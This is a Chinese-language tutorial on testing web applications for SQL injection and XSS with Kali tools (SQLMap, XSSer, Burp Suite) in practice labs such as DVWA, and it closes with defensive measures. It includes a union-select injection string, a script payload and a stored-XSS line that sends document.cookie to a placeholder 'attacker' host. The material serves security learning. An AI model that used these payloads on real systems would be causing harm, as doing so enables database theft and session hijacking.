免责声明:本文所有测试内容仅适用于个人学习环境、实验室授权测试或企业内部安全评估。严禁对任何未授权的第三方 Web 应用进行渗透测试,否则需自行承担相应法律责任。

前言#

对于网络安全专业学生与 IT 从业人员而言,Web 渗透测试是绕不开的核心实战能力。但在实际学习与工作中,往往会遇到以下问题:

  • 只会使用工具,却不理解漏洞本质,测试流于表面;
  • 缺乏真实攻防场景经验,面对复杂漏洞无从下手;
  • 对合法合规边界理解模糊,存在操作风险。

Web 应用已成为企业业务的核心载体,而 SQL 注入XSS(跨站脚本攻击) 是其中最常见、危害也最大的两类漏洞。Kali Linux 作为渗透测试发行版,内置了大量针对 Web 漏洞的工具,结合手动测试方法,可以高效、精准地发现并验证漏洞风险。

本文将从 漏洞原理、Kali 工具实操、手动测试技巧、防御方案 四个维度,系统拆解 SQL 注入与 XSS 的攻防实战,适合直接搭建靶场进行练习。


一、漏洞核心原理#

在动手测试前,必须先理解漏洞的本质,否则只是在“按按钮”。

1. SQL 注入漏洞原理#

SQL 注入的根本原因在于:用户输入被直接拼接进 SQL 语句中,且未进行有效过滤或参数化处理

  • 核心成因

    • 用户输入未做转义或校验
    • 动态拼接 SQL 语句
  • 常见位置

    • 登录表单
    • 搜索框
    • URL 参数(GET / POST)
  • 危害等级:高危

    • 数据库数据泄露
    • 管理员账号被接管
    • 服务器权限被进一步获取

2. XSS 漏洞原理#

XSS 漏洞本质是:攻击者提交的脚本代码被浏览器当作可信内容执行

  • 核心成因

    • 用户输入未进行 HTML 编码
    • 恶意脚本被原样输出到页面
  • 常见位置

    • 评论区 / 留言板
    • 个人资料修改
    • 搜索结果页
  • 危害等级:中到高危

    • 窃取 Cookie
    • 会话劫持
    • 钓鱼与恶意重定向

二、Kali 工具实战#

Kali Linux 内置了多款 Web 渗透测试工具,适合快速发现与验证漏洞。

1. SQL 注入检测:SQLMap#

SQLMap 是最常用的自动化 SQL 注入工具,支持多种数据库类型。

环境准备#

  • 推荐靶场:

    • DVWA
    • SQLi-Labs
  • 确保 Kali 与靶场处于同一网段

基础用法#

sqlmap -u "http://target/vuln.php?id=1" --cookie="security=low; PHPSESSID=xxx"

常用参数#

  • --dbs:列出数据库
  • -D:指定数据库
  • --tables:列出表
  • --columns:列出字段
  • --dump:导出数据

实战技巧#

  • 指定参数测试:-p id
  • HTTPS 目标:--force-ssl
  • 降低扫描频率:--delay 1

2. XSS 漏洞检测:XSSer#

XSSer 是 Kali 中用于检测 XSS 漏洞的自动化工具,支持反射型、存储型与 DOM 型 XSS。

xsser -u "http://target/xss.php?name=test" --cookie="security=low; PHPSESSID=xxx" -v 2

若返回 VULNERABLE,说明目标存在可利用的 XSS 漏洞。


3. 辅助工具:Burp Suite#

Burp Suite 是 Web 渗透测试的核心工具,适合:

  • 手动构造恶意请求
  • 验证自动化工具结果
  • 分析复杂逻辑漏洞

通过 Proxy + Repeater 模块,可以精准控制参数并观察响应变化。


三、手动测试技巧#

自动化工具并非万能,复杂场景下仍需手动测试。

1. SQL 注入(GET 型)#

判断注入点

  • ' 报错 → 可能存在注入
  • and 1=1 正常 / and 1=2 异常 → 布尔盲注
  • order by n 判断字段数

Union 注入示例

1 union select 1,2,database()--+

2. XSS 手动测试#

反射型 XSS#

<script>alert(1)</script>

存储型 XSS#

fetch('http://attacker/steal?c='+document.cookie)

DOM 型 XSS#

重点分析前端 JavaScript 对 URL 参数的处理逻辑。


四、漏洞防御方案#

1. SQL 注入防御#

  • 使用参数化查询(预编译)
  • 严格输入校验(白名单)
  • 数据库最小权限原则
  • 定期审计日志

2. XSS 防御#

  • 输出 HTML 编码
  • 过滤危险标签与事件
  • 启用 CSP 策略
  • Cookie 设置 HttpOnly + HTTPS

五、实战建议与进阶方向#

  • 优先使用合法靶场练习

  • 工具扫描 + 手动验证结合

  • 持续关注 OWASP Top 10

  • 进阶方向:

    • Web 源码审计
    • Burp Suite 高级模块
    • CTF Web 方向训练